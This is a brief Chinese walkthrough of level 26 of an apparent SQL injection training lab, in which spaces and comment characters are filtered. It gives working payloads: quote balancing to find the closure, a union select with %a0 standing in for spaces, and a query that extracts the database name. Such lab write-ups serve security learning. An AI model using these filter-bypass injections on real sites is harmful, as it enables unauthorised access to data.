26题提示所有的空格和注释都会被过滤掉
- 输入
?id=0'
判断闭合方式,回显报错可以确定闭合方式为单引号
- 正常思路是需要通过注释符将后面的语句注释掉,但是这一关的注释符被过滤了,可以考虑使用将后面的语句也闭合的思路来避免引号带来的报错。输入?id=0’'发现不报错了
'0''' LIMIT 0,1
其中0''
是我们输入进去的字符
我们输入的第一个单引号和前面的单引号闭合,第二个单引号和后面的单引号闭合
- 接下来的思路是使用联合注入
union select 1,2,3
判断字段个数,输入?id=100' union select 1,2,3'
发现空格都被注释
- 考虑使用
%a0
代替空格,输入?id=100'%a0union%a0select%a01,2,3'
成功回显
- 将2或者3,替换为需要查询的语句,例如database()查询数据库名,输入
?id=100'%a0union%a0select%a01,database(),3'